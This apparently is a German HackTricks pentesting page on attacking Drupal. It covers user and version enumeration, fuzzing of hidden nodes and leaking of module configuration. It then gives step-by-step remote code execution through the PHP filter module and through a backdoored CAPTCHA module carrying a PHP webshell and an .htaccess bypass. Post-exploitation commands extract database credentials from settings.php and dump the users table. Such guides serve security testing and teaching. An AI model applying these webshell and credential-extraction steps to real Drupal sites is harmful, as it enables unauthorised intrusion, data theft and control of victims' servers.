9.6 KiB
Drupal
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.
{% embed url="https://websec.nl/" %}
Discovery
- Überprüfen Sie meta
curl https://www.drupal.org/ | grep 'content="Drupal'
- Knoten: Drupal indexiert seinen Inhalt mit Knoten. Ein Knoten kann alles enthalten, wie z.B. einen Blogbeitrag, eine Umfrage, einen Artikel usw. Die Seiten-URIs haben in der Regel die Form
/node/<nodeid>
.
curl drupal-site.com/node/1
Enumeration
Drupal unterstützt standardmäßig drei Arten von Benutzern:
Administrator
: Dieser Benutzer hat die vollständige Kontrolle über die Drupal-Website.Authentifizierter Benutzer
: Diese Benutzer können sich auf der Website anmelden und Operationen wie das Hinzufügen und Bearbeiten von Artikeln basierend auf ihren Berechtigungen durchführen.Anonym
: Alle Website-Besucher werden als anonym bezeichnet. Standardmäßig dürfen diese Benutzer nur Beiträge lesen.
Version
- Überprüfen Sie
/CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
{% hint style="info" %}
Neuere Installationen von Drupal blockieren standardmäßig den Zugriff auf die Dateien CHANGELOG.txt
und README.txt
.
{% endhint %}
Benutzername Aufzählung
Registrieren
Unter /user/register versuchen Sie einfach, einen Benutzernamen zu erstellen, und wenn der Name bereits vergeben ist, wird dies angezeigt:
Neues Passwort anfordern
Wenn Sie ein neues Passwort für einen vorhandenen Benutzernamen anfordern:
Wenn Sie ein neues Passwort für einen nicht vorhandenen Benutzernamen anfordern:
Anzahl der Benutzer abrufen
Durch den Zugriff auf /user/<number> können Sie die Anzahl der vorhandenen Benutzer sehen, in diesem Fall sind es 2, da /users/3 einen Fehler "nicht gefunden" zurückgibt:
Versteckte Seiten
Fuzz /node/$
, wobei $
eine Zahl ist (von 1 bis 500 zum Beispiel).
Sie könnten versteckte Seiten (Test, Entwicklung) finden, die von den Suchmaschinen nicht referenziert werden.
Installierte Module Informationen
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
Automatisch
droopescan scan drupal -u http://drupal-site.local
RCE
Mit PHP-Filter-Modul
{% hint style="warning" %}
In älteren Versionen von Drupal (vor Version 8) war es möglich, sich als Administrator anzumelden und das PHP-Filter
-Modul zu aktivieren, das es ermöglicht, "eingebetteten PHP-Code/Snippets auszuwerten".
{% endhint %}
Sie benötigen das Plugin PHP, das installiert sein muss (überprüfen Sie dies, indem Sie auf /modules/php zugreifen und wenn eine 403 zurückgegeben wird, dann existiert es, wenn nicht gefunden, dann ist das Plugin PHP nicht installiert)
Gehen Sie zu Module -> (Überprüfen Sie) PHP-Filter -> Konfiguration speichern
Klicken Sie dann auf Inhalt hinzufügen -> Wählen Sie Grundlegende Seite oder Artikel -> Schreiben Sie PHP-Shellcode im Body -> Wählen Sie PHP-Code im Textformat -> Wählen Sie Vorschau
Greifen Sie schließlich einfach auf den neu erstellten Knoten zu:
curl http://drupal-site.local/node/3
Installieren des PHP-Filter-Moduls
Ab Version 8 und höher wird das PHP-Filter Modul nicht mehr standardmäßig installiert. Um diese Funktionalität zu nutzen, müssen wir das Modul selbst installieren.
- Laden Sie die neueste Version des Moduls von der Drupal-Website herunter.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Nach dem Download gehen Sie zu
Verwaltung
>Berichte
>Verfügbare Updates
. - Klicken Sie auf
Durchsuchen
, wählen Sie die Datei aus dem Verzeichnis aus, in das wir sie heruntergeladen haben, und klicken Sie dann aufInstallieren
. - Nachdem das Modul installiert ist, können wir auf
Inhalt
klicken und eine neue Grundseite erstellen, ähnlich wie im Beispiel für Drupal 7. Stellen Sie erneut sicher, dass SiePHP-Code
aus dem Dropdown-MenüTextformat
auswählen.
Backdoored-Modul
Ein backdoored Modul kann erstellt werden, indem eine Shell zu einem vorhandenen Modul hinzugefügt wird. Module können auf der drupal.org-Website gefunden werden. Wählen wir ein Modul wie CAPTCHA aus. Scrollen Sie nach unten und kopieren Sie den Link für das tar.gz Archiv.
- Laden Sie das Archiv herunter und extrahieren Sie dessen Inhalt.
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
- Erstellen Sie eine PHP-Webshell mit dem Inhalt:
<?php
system($_GET["cmd"]);
?>
- Als nächstes müssen wir eine
.htaccess
-Datei erstellen, um uns Zugriff auf den Ordner zu verschaffen. Dies ist notwendig, da Drupal den direkten Zugriff auf den/modules
-Ordner verweigert.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
- Die oben genannte Konfiguration wird Regeln für den / Ordner anwenden, wenn wir eine Datei in /modules anfordern. Kopieren Sie beide dieser Dateien in den captcha-Ordner und erstellen Sie ein Archiv.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
- Angenommen, wir haben administrativen Zugriff auf die Website, klicken Sie auf
Verwalten
und dann aufErweitern
in der Seitenleiste. Klicken Sie anschließend auf die Schaltfläche+ Neues Modul installieren
, und wir werden zur Installationsseite weitergeleitet, z. B.http://drupal-site.local/admin/modules/install
. Navigieren Sie zum manipulierten Captcha-Archiv und klicken Sie aufInstallieren
. - Nach erfolgreicher Installation navigieren Sie zu
/modules/captcha/shell.php
, um Befehle auszuführen.
Post-Exploitation
settings.php lesen
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
Benutzer aus der Datenbank abrufen
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
Referenzen
{% embed url="https://websec.nl/" %}
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories einreichen.